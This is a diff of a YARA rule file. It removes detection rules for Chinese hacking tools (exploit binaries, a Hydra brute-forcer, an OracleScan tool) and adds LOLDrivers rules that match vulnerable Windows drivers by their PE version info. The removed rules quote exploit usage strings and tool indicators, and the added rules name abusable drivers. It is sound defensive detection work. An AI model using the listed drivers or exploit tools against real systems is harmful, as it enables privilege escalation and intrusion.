-		hash = "61ffd2cbec5462766c6f1c44bd44eeaed4f3d2c7"
-		logic_hash = "d6852af79eac659f4dfa3019793290e0498739f02a06c5540cd7d2c65b46b960"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "245da08c-d629-53cb-83fb-476f4fdd1512"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10985-L11001"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "de8f8006d8ee429b5f333503defa54b25447f4ed6aeade5e4219e23f3473ef1c"
+		logic_hash = "0cb5b26dd0cd26c77df642ea6bfffdcede293cdb1ecc15430241ab538f835162"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "comspec" fullword ascii
-		$s2 = "program terming" fullword ascii
-		$s3 = "WinSta0\\Defau" fullword ascii
-		$s4 = "* FROM IIsWebInfo" ascii
-		$s5 = "www.icehack." ascii
-		$s6 = "wmiprvse.exe" fullword ascii
-		$s7 = "Pid: %d" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003100300034 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <70KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Iisputscannesr : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_0FC0 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file IISPutScannesr.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c5d358e8-955f-5b96-89e7-eb0b6c4d0af0"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2013-L2027"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2dd8fee20df47fd4eed5a354817ce837752f6ae9"
-		logic_hash = "27c190050aabcdff3713b388adb0113ad2334c107a2a7b3d682c209b102cf642"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "00b4e2c2-cb2b-5de7-be7f-67fd1ed5bb1f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11004-L11023"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0fc0644085f956706ea892563309ba72f0986b7a3d4aa9ae81c1fa1c35e3e2d3"
+		logic_hash = "be5fef829971251225d9cbb72d173affd394c8cce6116b0b705c4b02409b6096"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "yoda & M.o.D." ascii
-		$s2 = "-> come.to/f2f **************" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e00300030002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e00300030002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Unknown_CN_Generate : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Supermicrocomputerinc_Phymem_Phymem_1963 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Generate.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "88ad2c71-519f-58b0-87f8-a6f54a54a774"
-		date = "2015-06-13"
-		modified = "2022-01-20"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2029-L2047"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
-		logic_hash = "a83000880bd71f4ee6507cb448b611cb670a47a4dc47c400930d3a41ca594a5d"
-		score = 75
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - phymem64.sys"
+		author = "Florian Roth"
+		id = "19673477-eb54-52d7-886e-ebf3216aa77b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11026-L11045"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52"
+		logic_hash = "8f4cdca4c4bc91f216ee3d89093d482d6e56623a159c3eae6debc388cb9d108f"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\TEMP\\" ascii
-		$s2 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
-		$s3 = "$530 Please login with USER and PASS." fullword ascii
-		$s4 = "_Shell.exe" fullword ascii
-		$s5 = "ftpcWaitingPassword" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007000680079006d0065006d0020004100700070006c00690063006100740069006f006e }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007000680079006d0065006d }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007000680079006d0065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007000680079006d0065006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Pc_Rejoice : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_16A2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file rejoice.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "197b5a21-e1ed-5ea8-b7f2-e84684aedc54"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2049-L2067"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
-		logic_hash = "9e22a98b5065a95a7f169fda8d6d4112101bffa11a1407e03ec152db41857206"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "826ee893-06af-5dee-9436-ec3ea7ddd8d9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11048-L11068"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "16a2e578bc8683f17a175480fea4f53c838cfae965f1d4caa47eaf9e0b3415c1"
+		hash = "98a123b314cba2de65f899cdbfa386532f178333389e0f0fbd544aff85be02eb"
+		logic_hash = "ee91ed74d1577bc881a029a6790de6d41e0b9494bfeeceec4511b3d8b7c5cff2"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "@members.3322.net/dyndns/update?system=dyndns&hostname=" fullword ascii
-		$s2 = "http://www.xxx.com/xxx.exe" fullword ascii
-		$s3 = "@ddns.oray.com/ph/update?hostname=" fullword ascii
-		$s4 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
-		$s5 = "ListViewProcessListColumnClick!" fullword ascii
-		$s6 = "http://iframe.ip138.com/ic.asp" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ms11080_Withcmd : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_CFB7 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ms11080_withcmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fa5002ac-d6e6-543f-8020-43dfae689b3b"
-		date = "2015-06-13"
-		modified = "2022-12-21"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2069-L2087"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
-		logic_hash = "cd7167269538a5dd197260682ad777f87e43cc2155acf3ce731d1a065395cf4a"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		id = "e80a43d2-d96f-5fed-a5e1-3e1ea617542a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11071-L11090"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cfb7af8ac67a379e7869289aeee21837c448ea6f8ab6c93988e7aa423653bd40"
+		logic_hash = "8611a572b8366722e237d622b3701072f564f13a73dd71899dbde6faeab73ef8"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
-		$s2 = "\\ms11080\\ms11080\\Debug\\ms11080.pdb" ascii
-		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
-		$s4 = "[>] create porcess error" fullword ascii
-		$s5 = "[>] ms11-080 Exploit" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 1 of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Othertools_Xiaoa : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_C894 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file xiaoa.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a456d373-2063-5264-8cf4-d0a5918392fc"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2089-L2107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6988acb738e78d582e3614f83993628cf92ae26d"
-		logic_hash = "451ed602bd1e9dd7e4020108ea133b60c546965bd77be349d07be42150f80fee"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		id = "b4cef531-b146-5c20-b429-a90beaad5712"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11093-L11112"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c8940e2e9b069ec94f9f711150b313b437f8429f78d522810601b6ee8b52bada"
+		logic_hash = "4f0a6ffa08a2c219e47c6ae13f6cc6914fe7d0dccb0273bf0905dd9a71eb439f"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
-		$s2 = "The shell \"cmd\" success!" fullword ascii
-		$s3 = "Not Windows NT family OS." fullword ascii
-		$s4 = "Unable to get kernel base address." fullword ascii
-		$s5 = "run \"%s\" failed,code: %d" fullword ascii
-		$s6 = "Windows Kernel Local Privilege Exploit " fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Unknown2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Pinduoduoltdcorp_Vboxdrv_Pinduoduosecurevdi_9DAB : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file unknown2.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "af7ddcbf-1cba-51a9-b435-9a267320f502"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2109-L2128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "32508d75c3d95e045ddc82cb829281a288bd5aa3"
-		logic_hash = "dea499eaa87cc454a31672fb842539779926d50785ef827162fde84bfcdcc54a"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		id = "44e2c561-b9f4-5840-9e0c-53ffee5a3bd1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11115-L11134"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9dab4b6fddc8e1ec0a186aa8382b184a5d52cfcabaaf04ff9e3767021eb09cf4"
+		logic_hash = "894060011b20c84849499127305d8f1d45621c5893f74d59c9278067a329a4d2"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://md5.com.cn/index.php/md5reverse/index/md/" wide
-		$s2 = "http://www.md5decrypter.co.uk/feed/api.aspx?" wide
-		$s3 = "http://www.md5.com.cn" fullword wide
-		$s4 = "1.5.exe" fullword wide
-		$s5 = "\\Set.ini" wide
-		$s6 = "OpenFileDialog1" fullword wide
-		$s7 = " (*.txt)|*.txt" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500069006e00640075006f00640075006f0020004c0074006400200043006f00720070 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500069006e00640075006f00640075006f00200053006500630075007200650020005600440049 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d0032003000320031002000500069006e00640075006f00640075006f00200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 4 of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Hydra_7_3_Hydra : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_18DE : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file hydra.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "70e9a5bf-ce2d-58ab-8bdc-257e2aa5e917"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2130-L2147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2f82b8bf1159e43427880d70bcd116dc9e8026ad"
-		logic_hash = "23194c2df0b8bdedc4fc66c423b0aebb10217de328a194b26560d4cc9a5531e3"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		id = "c3b0b3b0-9281-5d90-bf26-6c4c46c4143b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11137-L11156"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "18deed37f60b6aa8634dda2565a0485452487d7bce88afb49301a7352db4e506"
+		logic_hash = "d01aeb1783377e6067976e6955e63495706c96c8d6c113b393a47e6fe17992f0"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[ATTEMPT-ERROR] target %s - login \"%s\" - pass \"%s\" - child %d - %lu of %lu" fullword ascii
-		$s2 = "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=))(COMMAND=reload)(PASSWORD=%s)(SERVICE" ascii
-		$s3 = "cn=^USER^,cn=users,dc=foo,dc=bar,dc=com for domain foo.bar.com" fullword ascii
-		$s4 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
-		$s5 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Oraclescan : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_8CFD : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file OracleScan.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "142c0ed1-0752-54c3-9a4b-68e656c32939"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2149-L2165"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "10ff7faf72fe6da8f05526367b3522a2408999ec"
-		logic_hash = "b9454f47123c32d6c6b51722aeadac9acc2a6232c259703c36ea00c83d8977e6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "4affbef6-26ac-5087-a881-32fad34fd192"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11159-L11178"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8cfd5b2102fbc77018c7fe6019ec15f07da497f6d73c32a31f4ba07e67ec85d9"
+		logic_hash = "5bc5d8a6cd02e9a684515ea333084c788353641cb29ff08f18a1066d533cf0ed"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "MYBLOG:HTTP://HI.BAIDU.COM/0X24Q" fullword ascii
-		$s2 = "\\Borland\\Delphi\\RTL" ascii
-		$s3 = "USER_NAME" ascii
-		$s4 = "FROMWWHERE" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
 		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Sqltools : FILE
